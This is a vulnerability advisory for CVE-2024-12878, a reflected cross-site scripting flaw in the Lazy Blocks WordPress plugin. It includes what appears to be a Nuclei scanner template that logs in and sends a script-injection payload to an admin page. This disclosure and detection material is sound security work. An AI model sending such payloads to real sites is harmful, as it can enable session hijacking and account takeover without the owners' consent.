CVE-2024-12878: Lazy Blocks <= 3.8.2 - Cross-Site Scripting

2026-02-24 Lazy Blocks PoC Public

Description

Custom Block Builder WordPress plugin < 3.8.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load malicious page.

PoC

id: CVE-2024-12878

info:
  name: Lazy Blocks <= 3.8.2 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    Custom Block Builder WordPress plugin < 3.8.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load malicious page.
  impact: |
    Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to version 3.8.3 or later.
  reference:
    - https://wpscan.com/vulnerability/827444d1-87cb-4057-827a-d802eac82cf8/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12878
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,wordpress,wp,wp-plugin,lazy-blocks,xss,reflected,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "wordpress_logged_in")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=lazyblocks&"></script><script>alert(1331)</script>=1" HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "</script><script>alert(1331)</script>", "edit-lazyblocks", "lazyblocks")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100d35978956ec3d62cfac747bf24f53aa063cae11a90f857b4c8bbf7e51f8d2db10220145932abaa8704bc120d90a1d8792612f04388636564ecf99a274daba50df1cb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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